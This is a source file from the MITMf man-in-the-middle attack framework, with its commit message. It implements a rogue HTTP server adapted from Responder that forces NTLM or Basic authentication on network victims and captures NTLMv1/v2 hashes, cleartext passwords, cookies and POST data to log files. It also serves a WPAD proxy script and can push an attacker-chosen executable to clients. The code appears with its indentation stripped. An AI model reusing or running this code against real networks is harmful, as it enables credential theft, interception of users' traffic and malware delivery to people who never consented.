MITMf/core/protocols/http/HTTPProxy.py
byt3bl33d3r 9712eed4a3 This is 1/2 of the work done... lot's of cool stuff!
I've re-written a decent amount of the framework to support dynamic config file updates, revamped the ARP Spoofing 'engine' and changed the way MITMf integrates Responder and Netcreds.

- Net-creds is now started by default and no longer a plugin.. It's all about getting those creds after all.
- Integrated the Subterfuge Framework's ARPWatch script, it will enable itself when spoofing the whole subnet (also squashed bugs in the original ARP spoofing code)
- The spoof plugin now supports specifying a range of targets (e.g. --target 10.10.10.1-15) and multiple targets (e.g. --target 10.10.10.1,10.10.10.2)
- An SMB Server is now started by default, MITMf now uses Impacket's SMBserver as supposed to the one built into Responder, mainly for 2 reasons:
  1) Impacket is moving towards SMB2 support and is actively developed
  2) Impacket's SMB server is fully functional as supposed to Responder's (will be adding a section for it in the config file)
  3) Responder's SMB server was unrealiable when used through MITMf (After spending a day trying to figure out why, I just gave up and yanked it out)

- Responder's code has been broken down into single importable classes (way easier to manage and read, ugh!)
- Started adding dynamic config support to Responder's code and changed the logging messages to be a bit more readable.
- POST data captured through the proxy will now only be logged and printed to STDOUT when it's decodable to UTF-8 (this prevents logging encrypted data which is no use)
- Responder and the Beefapi script are no longer submodules (they seem to be a pain to package, so i removed them to help a brother out)
- Some plugins are missing because I'm currently re-writing them, will be added later
- Main plugin class now inharates from the ConfigWatcher class, this way plugins will support dynamic configs natively! \o/
2015-04-27 18:33:55 +02:00

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Python

##################################################################################
#HTTP Proxy Stuff starts here (Not Used)
##################################################################################
class HTTPProxy():
def serve_thread_tcp(host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception, e:
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
def start(on_off):
if on_off == "ON":
t = threading.Thread(name="HTTP", target=self.serve_thread_tcp, args=("0.0.0.0", 80,HTTP))
t.setDaemon(True)
t.start()
if on_off == "OFF":
return False
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
#Parse NTLMv1/v2 hash.
def ParseHTTPHash(data,client):
LMhashLen = struct.unpack('<H',data[12:14])[0]
LMhashOffset = struct.unpack('<H',data[16:18])[0]
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
NthashLen = struct.unpack('<H',data[20:22])[0]
NthashOffset = struct.unpack('<H',data[24:26])[0]
NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
if NthashLen == 24:
NtHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
HostNameLen = struct.unpack('<H',data[46:48])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
Hostname = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
outfile = "./logs/responder/HTTP-NTLMv1-Client-"+client+".txt"
WriteHash = User+"::"+Hostname+":"+LMHash+":"+NtHash+":"+NumChal
WriteData(outfile,WriteHash, User+"::"+Hostname)
responder_logger.info('[+]HTTP NTLMv1 hash captured from :%s'%(client))
responder_logger.info('[+]HTTP NTLMv1 Hostname is :%s'%(Hostname))
responder_logger.info('[+]HTTP NTLMv1 User is :%s'%(data[UserOffset:UserOffset+UserLen].replace('\x00','')))
responder_logger.info('[+]HTTP NTLMv1 Complete hash is :%s'%(WriteHash))
if NthashLen > 24:
NthashLen = 64
DomainLen = struct.unpack('<H',data[28:30])[0]
DomainOffset = struct.unpack('<H',data[32:34])[0]
Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
UserLen = struct.unpack('<H',data[36:38])[0]
UserOffset = struct.unpack('<H',data[40:42])[0]
User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
HostNameLen = struct.unpack('<H',data[44:46])[0]
HostNameOffset = struct.unpack('<H',data[48:50])[0]
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
outfile = "./logs/responder/HTTP-NTLMv2-Client-"+client+".txt"
WriteHash = User+"::"+Domain+":"+NumChal+":"+NTHash[:32]+":"+NTHash[32:]
WriteData(outfile,WriteHash, User+"::"+Domain)
responder_logger.info('[+]HTTP NTLMv2 hash captured from :%s'%(client))
responder_logger.info('[+]HTTP NTLMv2 User is : %s'%(User))
responder_logger.info('[+]HTTP NTLMv2 Domain is :%s'%(Domain))
responder_logger.info('[+]HTTP NTLMv2 Hostname is :%s'%(HostName))
responder_logger.info('[+]HTTP NTLMv2 Complete hash is :%s'%(WriteHash))
def GrabCookie(data,host):
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
if Cookie:
CookieStr = "[+]HTTP Cookie Header sent from: %s The Cookie is: \n%s"%(host,Cookie.group(0))
responder_logger.info(CookieStr)
return Cookie.group(0)
else:
NoCookies = "No cookies were sent with this request"
responder_logger.info(NoCookies)
return NoCookies
def WpadCustom(data,client):
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
if Wpad:
buffer1 = WPADScript(Payload=WPAD_Script)
buffer1.calculate()
return str(buffer1)
else:
return False
def WpadForcedAuth(Force_WPAD_Auth):
if Force_WPAD_Auth == True:
return True
if Force_WPAD_Auth == False:
return False
# Function used to check if we answer with a Basic or NTLM auth.
def Basic_Ntlm(Basic):
if Basic == True:
return IIS_Basic_401_Ans()
else:
return IIS_Auth_401_Ans()
def ServeEXE(data,client, Filename):
Message = "[+]Sent %s file sent to: %s."%(Filename,client)
responder_logger.info(Message)
with open (Filename, "rb") as bk:
data = bk.read()
bk.close()
return data
def ServeEXEOrNot(on_off):
if Exe_On_Off == "ON":
return True
if Exe_On_Off == "OFF":
return False
def ServeEXECAlwaysOrNot(on_off):
if Exec_Mode_On_Off == "ON":
return True
if Exec_Mode_On_Off == "OFF":
return False
def IsExecutable(Filename):
exe = re.findall('.exe',Filename)
if exe:
return True
else:
return False
def GrabURL(data, host):
GET = re.findall('(?<=GET )[^HTTP]*', data)
POST = re.findall('(?<=POST )[^HTTP]*', data)
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
if GET:
HostStr = "[+]HTTP GET request from : %s. The HTTP URL requested was: %s"%(host, ''.join(GET))
responder_logger.info(HostStr)
#print HostStr
if POST:
Host3Str = "[+]HTTP POST request from : %s. The HTTP URL requested was: %s"%(host,''.join(POST))
responder_logger.info(Host3Str)
#print Host3Str
if len(''.join(POSTDATA)) >2:
PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip())
#print PostData
responder_logger.info(PostData)
#Handle HTTP packet sequence.
def PacketSequence(data,client):
Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
File = config.get('HTTP Server', 'ExecFilename')
buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
buffer1.calculate()
return str(buffer1)
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
if IsExecutable(FILENAME):
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
buffer1.calculate()
return str(buffer1)
else:
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
buffer1.calculate()
return str(buffer1)
if Ntlm:
packetNtlm = b64decode(''.join(Ntlm))[8:9]
if packetNtlm == "\x01":
GrabURL(data,client)
GrabCookie(data,client)
r = NTLM_Challenge(ServerChallenge=Challenge)
r.calculate()
t = IIS_NTLM_Challenge_Ans()
t.calculate(str(r))
buffer1 = str(t)
return buffer1
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(Ntlm))
ParseHTTPHash(NTLM_Auth,client)
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
Message = "[+]WPAD (auth) file sent to: %s"%(client)
if Verbose:
print Message
responder_logger.info(Message)
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
if BasicAuth:
GrabCookie(data,client)
GrabURL(data,client)
outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
responder_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
Message = "[+]WPAD (auth) file sent to: %s"%(client)
if Verbose:
print Message
responder_logger.info(Message)
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
else:
return str(Basic_Ntlm(Basic))
#HTTP Server Class
class HTTP(BaseRequestHandler):
def handle(self):
try:
while True:
self.request.settimeout(1)
data = self.request.recv(8092)
buff = WpadCustom(data,self.client_address[0])
if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
if Verbose:
print Message
responder_logger.info(Message)
self.request.send(buff)
else:
buffer0 = PacketSequence(data,self.client_address[0])
self.request.send(buffer0)
except Exception:
pass#No need to be verbose..